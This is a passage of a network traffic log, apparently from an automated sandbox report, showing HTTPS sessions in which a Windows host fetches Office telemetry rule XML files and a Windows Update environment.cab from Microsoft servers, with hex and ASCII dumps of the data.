2024-10-28 07:18:03 UTC	16384	IN	Data Raw: 20 54 3d 22 55 36 34 22 20 49 3d 22 38 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 45 76 65 6e 74 73 5f 41 76 67 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 41 76 65 72 61 67 65 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 Data Ascii: T="U64" I="8" O="false" N="Events_Avg"> <S T="2" F="Average" /> </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" /> </C> <C T="U32"
2024-10-28 07:18:03 UTC	16384	IN	Data Raw: 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f Data Ascii: "0" O="false" N="Count_CreateCard_ValidPersona_False"> <C> <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32" I="2" O="false" N="Co
2024-10-28 07:18:03 UTC	16384	IN	Data Raw: 20 20 20 20 3c 53 20 54 3d 22 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 39 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a Data Ascii: <S T="31" /> </C> </C> <C T="U32" I="19" O="false" N="Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S T="33" /> </C>
2024-10-28 07:18:04 UTC	16384	IN	Data Raw: 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 Data Ascii: <S T="3" F="RetrievalMilliseconds" /> </L> <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3" F="RetrievalMillisec
2024-10-28 07:18:04 UTC	16384	IN	Data Raw: 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e Data Ascii: R> <V V="0" T="I32" /> </R> </O> </F> </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false" N="Ocom2IUCOfficeIn
2024-10-28 07:18:04 UTC	16384	IN	Data Raw: 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 36 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: R> </O> </F> <F T="6"> <O T="AND"> <L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" /> </L>
2024-10-28 07:18:04 UTC	16384	IN	Data Raw: 54 3d 22 36 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c Data Ascii: T="6"> <O T="EQ"> <L> <S T="2" F="HttpStatus" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T="GE"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.4	49774	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 07:18:04 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 07:18:05 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 07:18:05 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: f31c25f5-601e-0001-6558-27faeb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T071804Z-r197bdfb6b4jlq9hb8xf0re6t400000004r00000000059n4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 07:18:05 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.4	49771	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 07:18:04 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 07:18:05 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 07:18:04 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: 5e9af5f8-e01e-0099-17f4-24da8a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T071804Z-15b8d89586fvpb597drk06r8fc00000005ng000000008hqx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 07:18:05 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.4	49770	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 07:18:04 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 07:18:05 UTC	584	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 07:18:04 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: 041e76a7-601e-005c-45ae-26f06f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T071804Z-16849878b78hh85qc40uyr8sc8000000052g0000000011c9 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 07:18:05 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.4	49772	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 07:18:04 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 07:18:05 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 07:18:05 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 23ba7a24-801e-0015-5af3-24f97f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T071805Z-17c5cb586f6mkpfk79wxvcahc0000000055g000000002kpa x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 07:18:05 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.4	49773	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 07:18:04 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 07:18:05 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 07:18:05 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: 11ae3112-301e-005d-596b-27e448000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T071805Z-16849878b78bcpfn2qf7sm6hsn000000068g00000000agkh x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 07:18:05 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49775	20.109.210.53	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 07:18:05 UTC	306	OUT	GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=3vgBxchoLdYxxGK&MD=v3rGdgTa HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-10-28 07:18:05 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "vic+p1MiJJ+/WMnK08jaWnCBGDfvkGRzPk9f8ZadQHg=_1440" MS-CorrelationId: 3c19a325-0b14-49ce-8882-27b22b2464f8 MS-RequestId: 9e99813a-4812-47df-9e1e-33e42dc77fd7 MS-CV: 7ncdGWY6NkmWwqBr.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Mon, 28 Oct 2024 07:18:04 GMT Connection: close Content-Length: 30005
2024-10-28 07:18:05 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 8d 2b 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 5b 49 00 00 14 00 00 00 00 00 10 00 8d 2b 00 00 a8 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 72 4d 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 fe f6 51 be 21 2b 72 4d 43 4b ed 7c 05 58 54 eb da f6 14 43 49 37 0a 02 d2 b9 86 0e 41 52 a4 1b 24 a5 bb 43 24 44 18 94 90 92 52 41 3a 05 09 95 ee 54 b0 00 91 2e e9 12 10 04 11 c9 6f 10 b7 a2 67 9f bd cf 3e ff b7 ff b3 bf 73 ed e1 9a 99 f5 c6 7a d7 bb de f5 3e cf fd 3c f7 dc 17 4a 1a 52 e7 41 a8 97 1e 14 f4 e5 25 7d f4 05 82 82 c1 20 30 08 06 ba c3 05 02 11 7f a9 c1 ff d2 87 5c 1e f4 ed 65 8e 7a 1f f6 0a 40 03 1d 7b f9 83 2c 1c 2f db b8 3a 39 3a 58 38 ba 73 5e Data Ascii: MSCF+D[I+IdrMenvironment.cabQ!+rMCK\|XTCI7AR$C$DRA:T.og>sz><JRA%} 0\ez@{,/:9:X8s^
2024-10-28 07:18:05 UTC	14181	IN	Data Raw: 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 26 30 24 06 03 55 04 03 13 1d 4d 69 63 72 6f 73 6f 66 74 20 54 69 6d 65 2d 53 74 61 6d 70 20 50 43 41 20 32 30 31 30 30 1e 17 0d 32 33 31 30 31 32 31 39 30 37 32 35 5a 17 0d 32 35 30 31 31 30 31 39 30 37 32 35 5a 30 81 d2 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 2d 30 2b 06 03 55 04 0b 13 24 4d 69 63 72 6f Data Ascii: UUS10UWashington10URedmond10UMicrosoft Corporation1&0$UMicrosoft Time-Stamp PCA 20100231012190725Z250110190725Z010UUS10UWashington10URedmond10UMicrosoft Corporation1-0+U$Micro

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.4	49776	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 07:18:05 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 07:18:05 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 07:18:05 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: 7b93b929-d01e-0082-6676-27e489000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T071805Z-16849878b78tg5n42kspfr0x4800000004r0000000006w1g x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 07:18:05 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.4	49777	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
